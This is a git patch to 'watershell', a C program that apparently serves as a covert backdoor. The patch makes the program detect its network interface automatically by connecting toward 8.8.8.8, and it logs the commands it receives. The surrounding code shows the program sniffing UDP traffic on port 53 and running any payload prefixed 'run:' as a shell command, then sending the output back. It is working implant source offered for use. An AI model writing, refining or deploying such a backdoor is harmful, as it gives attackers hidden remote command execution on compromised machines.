From ff698a56951ff58c7e6f09dea87bd080c9b27e9d Mon Sep 17 00:00:00 2001
From: Nicholas O'Brien <ndo9903@rit.edu>
Date: Sun, 14 Apr 2019 20:19:20 -0700
Subject: [PATCH] now automatically gets the interface

---
 watershell.c | 84 +++++++++++++++++++++++++++++++++++++++++-----------
 watershell.h |  1 +
 2 files changed, 68 insertions(+), 17 deletions(-)

diff --git a/watershell.c b/watershell.c
index c5db8d7..fda99e0 100755
--- a/watershell.c
+++ b/watershell.c
@@ -7,18 +7,16 @@
  *
  *        Version:  1.0
  *        Created:  07/01/2015 09:10:41 AM
- *       Revision:  none
+ *       Revision:  04/14/2019 11:19:22 PM
  *       Compiler:  gcc
  *
- *         Author:  Jaime Geiger, jmg2967@rit.edu
+ *         Author:  Jaime Geiger,     jmg2967@rit.edu
+ *         Author:  Nicholas O'Brien, ndo9903@rit.edu
  *
  * =====================================================================================
  */
 
 /* CUSTOMIZE THESE LINES FOR HARD CODED VALUES */
-#ifndef IFACE
-#define IFACE "ens33"
-#endif
 #ifndef PORT
 #define PORT 53
 #endif
@@ -49,6 +47,7 @@
 #include <netinet/udp.h>
 #include <signal.h>
 #include <stdbool.h>
+#include <ifaddrs.h>
 #include "watershell.h"
 
 //these need to be global so that a sigint can close everything up
@@ -62,7 +61,7 @@ int main(int argc, char *argv[])
     struct sock_fprog filter;
     char buf[2048];
     unsigned char *read;
-    char *udpdata, *iface = IFACE;
+    char *udpdata;
     struct iphdr *ip;
     struct udphdr *udp;
     unsigned port = PORT;
@@ -70,15 +69,16 @@ int main(int argc, char *argv[])
 
     //if (fork())
     //    exit(1);
+    char iface[100];
+    memset(iface, '\0', sizeof(iface));
+    get_interface_name(iface);
+    printf("Listening on %s\n", iface);
 
     promisc = PROMISC;
 
     // command line args
     while ((arg = getopt(argc, argv, "phi:l:")) != -1){
         switch (arg){
-            case 'i':
-                iface = optarg;
-                break;
             case 'p':
                 if (DEBUG)
                     puts("Running in promisc mode");
@@ -86,7 +86,7 @@ int main(int argc, char *argv[])
                 break;
             case 'h':
                 if (DEBUG)
-                    fprintf(stderr, "Usage: %s [-l port] [-p] -i iface\n", argv[0]);
+                    fprintf(stderr, "Usage: %s [-l port] [-p]\n", argv[0]);
                 return 0;
                 break;
             case 'l':
@@ -99,7 +99,7 @@ int main(int argc, char *argv[])
                 break;
             case '?':
                 if (DEBUG)
-                    fprintf(stderr, "Usage: %s [-l port] [-p] -i iface\n", argv[0]);
+                    fprintf(stderr, "Usage: %s [-l port] [-p]\n", argv[0]);
                 return 1;
             default:
                 abort();
@@ -165,22 +165,23 @@ int main(int argc, char *argv[])
 
         //run a command if the data is prefixed with run:
         if (!strncmp(udpdata, "run:", 4)){
+            printf("Doing the thing: %s\n", udpdata);
             int out = open("/dev/null", O_WRONLY);
             int err = open("/dev/null", O_WRONLY);
-	    dup2(out, 0);
-	    dup2(err, 2);
+	          dup2(out, 0);
+	          dup2(err, 2);
 
             FILE *fd;
             fd = popen(udpdata + 4, "r");
             if (!fd) return -1;
- 
+
             char buffer[256];
             size_t chread;
             /* String to store entire command contents in */
             size_t comalloc = 256;
             size_t comlen   = 0;
             char *comout   = malloc(comalloc);
- 
+
             /* Use fread so binary data is dealt with correctly */
             while ((chread = fread(buffer, 1, sizeof(buffer), fd)) != 0) {
                 if (comlen + chread >= comalloc) {
@@ -192,13 +193,62 @@ int main(int argc, char *argv[])
             }
             pclose(fd);
             send_status(buf, comout);
-	
+
 	}
-        
+
     }
     return 0;
 }
 
+// get interface name dynamically :D
+void get_interface_name(char iface[]){
+  const char* google_dns_server = "8.8.8.8";
+  int dns_port = 53;
+  int sock, err;
+
+  char buf[32];
+  char buffer[100];
+
+  struct ifaddrs *addrs, *iap;
+  struct sockaddr_in *sa;
+  struct sockaddr_in serv;
+  struct sockaddr_in name;
+
+
+
+  sock = socket(AF_INET, SOCK_DGRAM, 0);
+
+  memset(&serv, 0, sizeof(serv));
+  serv.sin_family = AF_INET;
+  serv.sin_addr.s_addr = inet_addr(google_dns_server);
+  serv.sin_port = htons(dns_port);
+
+  err = connect(sock ,(const struct sockaddr*) &serv ,sizeof(serv));
+
+
+  socklen_t namelen = sizeof(name);
+  err = getsockname(sock, (struct sockaddr*) &name, &namelen);
+
+
+  const char* p = inet_ntop(AF_INET, &name.sin_addr, buffer, 100);
+
+  getifaddrs(&addrs);
+  for (iap = addrs; iap != NULL; iap = iap->ifa_next) {
+      if (iap->ifa_addr && (iap->ifa_flags & IFF_UP) && iap->ifa_addr->sa_family == AF_INET) {
+          sa = (struct sockaddr_in *)(iap->ifa_addr);
+          inet_ntop(iap->ifa_addr->sa_family, (void *)&(sa->sin_addr), buf, sizeof(buf));
+          if (!strcmp(p, buf)) {
+              strncpy(iface, iap->ifa_name, strlen(iap->ifa_name));
+              //interface_name = iap->ifa_name;
+              break;
+          }
+      }
+  }
+
+  freeifaddrs(addrs);
+  close(sock);
+}
+
 //cleanup on SIGINT
 void sigint(int signum){
     //if promiscuous mode was on, turn it off
diff --git a/watershell.h b/watershell.h
index 36ab78d..e8e672a 100644
--- a/watershell.h
+++ b/watershell.h
@@ -56,4 +56,5 @@ void send_status(unsigned char *buf, char *payload);
 void sigint(int signum);
 void ip_checksum(struct iphdr *ip);
 void udp_checksum(struct iphdr *ip, unsigned short *payload);
+void get_interface_name(char iface[]);
 #endif